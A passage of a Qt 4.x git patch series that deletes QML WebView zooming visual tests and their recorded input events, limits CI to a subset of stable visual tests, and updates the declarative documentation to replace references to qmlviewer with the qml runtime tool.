"c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 212 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2144 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2160 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2176 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2192 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 89; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2208 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 88; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2224 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2240 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 86; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2256 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 85; y: 211 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2272 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 211 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 80; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2288 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 77; y: 211 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 75; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2304 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 69; y: 213 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 66; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2320 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 64; y: 213 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2336 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 60; y: 213 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 58; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2352 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 56; y: 213 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 55; y: 212 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2368 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2384 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2400 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2416 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2432 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2448 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2464 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2480 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 56; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2496 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 58; y: 214 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 59; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2512 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 61; y: 215 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2528 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2544 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2560 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2576 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2592 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 64; y: 216 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 64; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2608 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2624 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2640 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2656 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2672 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 63; y: 216 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 63; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2688 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2704 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2720 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2736 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2752 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 62; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2784 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2800 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2816 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 62; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2832 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2848 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2864 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 215 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2880 - image: "zooming.2.png" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2896 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2912 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 212 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2928 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 209 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 64; y: 208 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2944 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 66; y: 202 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 198 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2960 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 72; y: 192 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 186 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2976 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 76; y: 180 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 80; y: 170 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2992 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 162 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 88; y: 152 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3008 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 94; y: 142 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 98; y: 130 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3024 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 102; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 108; y: 108 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3040 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 112; y: 98 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 114; y: 90 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3056 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 120; y: 80 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 122; y: 72 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3072 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 126; y: 66 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 128; y: 58 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3088 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 132; y: 52 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 134; y: 46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3104 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 136; y: 40 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 140; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3120 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 24 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 150; y: 18 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3136 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 154; y: 10 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 160; y: 4 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3152 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3168 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3184 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3200 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3216 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3232 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3248 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3264 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3280 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3296 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3312 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3328 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3344 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3360 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3376 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3392 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3408 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3424 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3440 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3456 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3472 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3488 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3504 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3520 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3536 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3552 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3568 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3584 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3600 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3616 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3632 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3648 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3664 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3680 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3696 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3712 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3728 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3744 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3760 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3776 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 3792 - hash: "c98df558c41f1837398eead42392b780" - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/pageWidth.qml b/tests/auto/declarative/visual/webview/zooming/pageWidth.qml deleted file mode 100644 index 4a876dd..0000000 --- a/tests/auto/declarative/visual/webview/zooming/pageWidth.qml +++ /dev/null @@ -1,10 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -WebView { - width: 200 - height: 250 - url: "resolution.html" - webPageWidth: 400 - preferredWidth: 200 -} diff --git a/tests/auto/declarative/visual/webview/zooming/qtlogo.png b/tests/auto/declarative/visual/webview/zooming/qtlogo.png deleted file mode 100644 index 399bd0b..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/qtlogo.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.html b/tests/auto/declarative/visual/webview/zooming/renderControl.html deleted file mode 100644 index 1a01a33..0000000 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.html +++ /dev/null @@ -1,7 +0,0 @@ - - -

Render Control

-

-This test shows how zooming and panning can be -optimized for speed over quality by delaying rendering. - diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/renderControl.qml deleted file mode 100644 index 52a569e..0000000 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.qml +++ /dev/null @@ -1,21 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Rectangle { - width: 200 - height: 250 - clip: true - WebView { - id: webview - width: 400 - url: "renderControl.html" - SequentialAnimation on x { - loops: Animation.Infinite - NumberAnimation { from: 100; to: 0; duration: 200 } - PropertyAction { target: webview; property: "renderingEnabled"; value: false } - NumberAnimation { from: 0; to: -100; duration: 200 } - PropertyAction { target: webview; property: "renderingEnabled"; value: true } - NumberAnimation { from: -100; to: 100; duration: 400 } - } - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.html b/tests/auto/declarative/visual/webview/zooming/resolution.html deleted file mode 100644 index 75b1e3f..0000000 --- a/tests/auto/declarative/visual/webview/zooming/resolution.html +++ /dev/null @@ -1,6 +0,0 @@ - - -

Resolution

-

-This test shows how zooming can include different resolutions. - diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.qml b/tests/auto/declarative/visual/webview/zooming/resolution.qml deleted file mode 100644 index d6c35d4..0000000 --- a/tests/auto/declarative/visual/webview/zooming/resolution.qml +++ /dev/null @@ -1,16 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -WebView { - width: 200 * zoomFactor - height: 250 * zoomFactor - scale: 1/zoomFactor - url: "resolution.html" - SequentialAnimation on zoomFactor { - loops: Animation.Infinite - NumberAnimation { from: 1; to: 0.25; duration: 2000 } - NumberAnimation { from: 0.25; to: 1; duration: 2000 } - NumberAnimation { from: 1; to: 5; duration: 2000 } - NumberAnimation { from: 5; to: 1; duration: 2000 } - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.html b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.html deleted file mode 100644 index 4997712..0000000 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.html +++ /dev/null @@ -1,7 +0,0 @@ - - -

Zoom Text Only

-

-This test shows how zooming can be done just -on text, not images. - diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml deleted file mode 100644 index 741450f..0000000 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml +++ /dev/null @@ -1,14 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -WebView { - width: 200 - height: 250 - url: "zoomTextOnly.html" - settings.zoomTextOnly: true - SequentialAnimation on zoomFactor { - loops: Animation.Infinite - NumberAnimation { from: 2; to: 0.25; duration: 1000 } - NumberAnimation { from: 0.25; to: 2; duration: 1000 } - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/zooming.html b/tests/auto/declarative/visual/webview/zooming/zooming.html deleted file mode 100644 index 4e91035..0000000 --- a/tests/auto/declarative/visual/webview/zooming/zooming.html +++ /dev/null @@ -1,6 +0,0 @@ - - -

Zooming

-

-This test shows how zooming can be to HTML elements.

- diff --git a/tests/auto/declarative/visual/webview/zooming/zooming.qml b/tests/auto/declarative/visual/webview/zooming/zooming.qml deleted file mode 100644 index adbd7a5..0000000 --- a/tests/auto/declarative/visual/webview/zooming/zooming.qml +++ /dev/null @@ -1,18 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -// Note that zooming is better done using zoomFactor and careful -// control of rendering to avoid excessive re-rendering during -// zoom animations. This test is written for simplicity. -WebView { - width: 200 - height: 250 - Behavior on x { NumberAnimation { } } - Behavior on y { NumberAnimation { } } - Behavior on scale { NumberAnimation { } } - url: "zooming.html" - preferredWidth: width - preferredHeight: height - onDoubleClick: {console.log(clickX,clickY);heuristicZoom(clickX,clickY,2)} - onZoomTo: {console.log(zoom);scale=zoom;x=width/2-centerX;y=height/2-centerY} -} -- cgit v0.12 From 1410285458ff6f5e89be3cc6414466b83701eae1 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 16:41:35 +1000 Subject: Run a subset of 'stable' visual tests. --- tests/auto/declarative/declarative.pro | 3 ++- tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp | 12 ++++++++++-- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro index eb74244..6c5a75f 100644 --- a/tests/auto/declarative/declarative.pro +++ b/tests/auto/declarative/declarative.pro @@ -59,7 +59,8 @@ SUBDIRS += \ qdeclarativexmlhttprequest \ # Cover qdeclarativeimageprovider \ # Cover qdeclarativestyledtext \ # Cover - sql # Cover + sql \ # Cover + qmlvisual contains(QT_CONFIG, webkit) { SUBDIRS += \ diff --git a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp index 78a753e..f87fd29 100644 --- a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp +++ b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp @@ -97,13 +97,21 @@ void tst_qmlvisual::visual_data() QTest::addColumn("testdata"); QStringList files; - files << findQmlFiles(QDir(QT_TEST_SOURCE_DIR)); + if (qgetenv("RUN_ALL") != "") + files << findQmlFiles(QDir(QT_TEST_SOURCE_DIR)); + else { + //these are tests we think are stable and useful enough to be run by the CI system + files << QT_TEST_SOURCE_DIR "/animation/pauseAnimation/pauseAnimation.qml"; + files << QT_TEST_SOURCE_DIR "/animation/parentAnimation/parentAnimation.qml"; + files << QT_TEST_SOURCE_DIR "/animation/reanchor/reanchor.qml"; + } + foreach (const QString &file, files) { QString testdata = toTestScript(file); if (testdata.isEmpty()) continue; - + QTest::newRow(file.toLatin1().constData()) << file << testdata; } } -- cgit v0.12 From 9618d60aecf2609f50bc573874eef6d4a52a24e3 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 29 Mar 2010 10:27:33 +1000 Subject: Fix doc link --- doc/src/declarative/javascriptblocks.qdoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index e57439f..c198295 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -244,7 +244,7 @@ var initialPosition = { rootObject.x, rootObject.y } This restriction exists as the QML environment is not yet fully established. To run code after the environment setup has completed, refer to -\l {Running Script at Startup}. +\l {Running JavaScript at Startup}. \endlist -- cgit v0.12 From eb125f983d274d6ddb48c96389b344b8f45bbbd0 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 29 Mar 2010 10:51:24 +1000 Subject: Remove references to qmlviewer in docs. --- doc/src/declarative/examples.qdoc | 10 +++------- doc/src/declarative/focus.qdoc | 2 +- doc/src/declarative/modules.qdoc | 2 +- doc/src/declarative/network.qdoc | 4 ++-- doc/src/declarative/qdeclarativedebugging.qdoc | 6 +++--- doc/src/declarative/qdeclarativei18n.qdoc | 8 ++++---- doc/src/declarative/qmlruntime.qdoc | 5 ++--- doc/src/declarative/tutorial.qdoc | 4 ++-- 8 files changed, 18 insertions(+), 23 deletions(-) diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc index b7da508..3d8325e 100644 --- a/doc/src/declarative/examples.qdoc +++ b/doc/src/declarative/examples.qdoc @@ -51,21 +51,17 @@ sub-directory that show how to use various aspects of QML. In addition, the applications. These demos are intended to show integrated functionality rather than being instructive on specifice elements. -To run the examples and demos, use the included \l {qmlviewer}{qmlviewer} +To run the examples and demos, use the included \l {Qt Declarative UI Runtime}{qml} application. It has some useful options, revealed by: \code - bin/qmlviewer -help + bin/qml -help \endcode For example, from your build directory, run: \code - bin/qmlviewer $QTDIR/demos/declarative/flickr/flickr-desktop.qml -\endcode -or -\code - bin/qmlviewer $QTDIR/demos/declarative/samegame/samegame.qml + bin/qml $QTDIR/demos/declarative/samegame/samegame.qml \endcode \section1 Examples diff --git a/doc/src/declarative/focus.qdoc b/doc/src/declarative/focus.qdoc index d7e890c..e5c1d32 100644 --- a/doc/src/declarative/focus.qdoc +++ b/doc/src/declarative/focus.qdoc @@ -96,7 +96,7 @@ Text { An \l Item requests focus by setting the \c {Item::focus} property to true. For very simple cases simply setting the \c {Item::focus} property is sometimes -sufficient. If we run the following example in the \c qmlviewer, we see that +sufficient. If we run the following example with the \l {Qt Declarative UI Runtime}{qml} tool, we see that the \c {keyHandler} element has \e {active focus} and pressing the 'A', 'B' or 'C' keys modifies the text appropriately. diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index f90e23b..ae014c0 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -155,7 +155,7 @@ Installed plugins and QML files can both contribute types to the same module. The specification of types to versions is given by a special file, \c qmldir which must exist in the module directory. The syntax is described below. -The \c -L option to the \l {qmlviewer}{runtime} application also adds paths to the import path. +The \c -L option to the \l {Qt Declarative UI Runtime}{qml} application also adds paths to the import path. \section2 Local QML Files diff --git a/doc/src/declarative/network.qdoc b/doc/src/declarative/network.qdoc index e642257..f1d4db1 100644 --- a/doc/src/declarative/network.qdoc +++ b/doc/src/declarative/network.qdoc @@ -69,7 +69,7 @@ Network transparency is supported throughout QML, for example: \o WebViews - the \c url property of WebView (obviously!) \endlist -Even QML types themselves can be on the network - if \l qmlviewer is used to load +Even QML types themselves can be on the network - if the \l {Qt Declarative UI Runtime}{qml} tool is used to load \tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", this will load from \tt http://example.com/mystuff/World.qml just as it would for a local file. Any other resources that \tt Hello.qml referred to, usually by a relative URL, would @@ -131,7 +131,7 @@ See the \tt demos/declarative/flickr for a real demonstration of this. All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML. By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager using QDeclarativeEngine::setNetworkAccessManager() as appropriate for the policies of your application. -For example, the \l qmlviewer tool sets a new QNetworkAccessManager which +For example, the \l {Qt Declarative UI Runtime}{qml} tool sets a new QNetworkAccessManager which trusts HTTP Expiry headers to avoid network cache checks, allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. diff --git a/doc/src/declarative/qdeclarativedebugging.qdoc b/doc/src/declarative/qdeclarativedebugging.qdoc index 3ef9ce7..e409c3e 100644 --- a/doc/src/declarative/qdeclarativedebugging.qdoc +++ b/doc/src/declarative/qdeclarativedebugging.qdoc @@ -60,7 +60,7 @@ Rectangle { \section1 Debugging Transitions When a transition doesn't look quite right, it can be helpful to view it in slow -motion to see what is happening more clearly. \l {qmlviewer} provides a +motion to see what is happening more clearly. The \l {Qt Declarative UI Runtime}{qml} tool provides a "Slow Down Animations" menu option to facilitate this. @@ -108,10 +108,10 @@ To start the debugger, open a QML project and click the "QML Inspect" mode, then \section2 Standalone qmldebugger tool To run the standalone \c qmldebugger tool, set an environment variable \c QML_DEBUG_SERVER_PORT -to an available port number and run the \c qmlviewer. For example: +to an available port number and run the \l {Qt Declarative UI Runtime}{qml} tool. For example: \code - QML_DEBUG_SERVER_PORT=3768 qmlviewer myqmlfile.qml + QML_DEBUG_SERVER_PORT=3768 qml myqmlfile.qml \endcode Then in another process, start the \c qmldebugger tool, enter the port number into the corresponding spinbox diff --git a/doc/src/declarative/qdeclarativei18n.qdoc b/doc/src/declarative/qdeclarativei18n.qdoc index 9c10a46..598c567 100644 --- a/doc/src/declarative/qdeclarativei18n.qdoc +++ b/doc/src/declarative/qdeclarativei18n.qdoc @@ -63,7 +63,7 @@ capabilities are described more fully in: \o \l {Qt Linguist Manual} \endlist -You can test a translation in \l {qmlviewer} using the -translation option. +You can test a translation with the \l {Qt Declarative UI Runtime}{qml} tool using the -translation option. \section1 Example @@ -86,10 +86,10 @@ lupdate hello.qml -ts hello.ts \endcode Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide -a translation and create the release file \c hello.qm. +a translation and create the release file \c hello.qml. -Finally, we can test the translation in qmlviewer: +Finally, we can test the translation: \code -qmlviewer -translation hello.qm hello.qml +qml -translation hello.qm hello.qml \endcode */ diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc index 710a030..827b905 100644 --- a/doc/src/declarative/qmlruntime.qdoc +++ b/doc/src/declarative/qmlruntime.qdoc @@ -43,7 +43,6 @@ \page qmlruntime.html \title Qt Declarative UI Runtime \ingroup qttools - \keyword qmlviewer This page documents the \e{Declarative UI Runtime} for the Qt GUI toolkit, and the \c qml executable which can be used to run apps @@ -141,8 +140,8 @@ import QDeclarativeViewer 1.0 as QDeclarativeViewer Item { - QDeclarativeViewer.Screen { id: qmlviewerScreen } - state: (qmlviewerScreen.orientation == QDeclarativeViewer.Screen.Landscape) ? 'landscape' : '' + QDeclarativeViewer.Screen { id: viewerScreen } + state: (viewerScreen.orientation == QDeclarativeViewer.Screen.Landscape) ? 'landscape' : '' } \endcode diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc index 310b776..66de741 100644 --- a/doc/src/declarative/tutorial.qdoc +++ b/doc/src/declarative/tutorial.qdoc @@ -114,11 +114,11 @@ In this case, we specify that our text element should be horizontally centered i \section2 Viewing the example -To view what you have created, run the qmlviewer (located in the \c bin directory) with your filename as the first argument. +To view what you have created, run the \l{Qt Declarative UI Runtime}{qml} tool (located in the \c bin directory) with your filename as the first argument. For example, to run the provided completed Tutorial 1 example from the install location, you would type: \code -bin/qmlviewer $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml +bin/qml $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml \endcode */ -- cgit v0.12 From 16bc6950e4736ea7c3ee1f5b2172be1718fade02 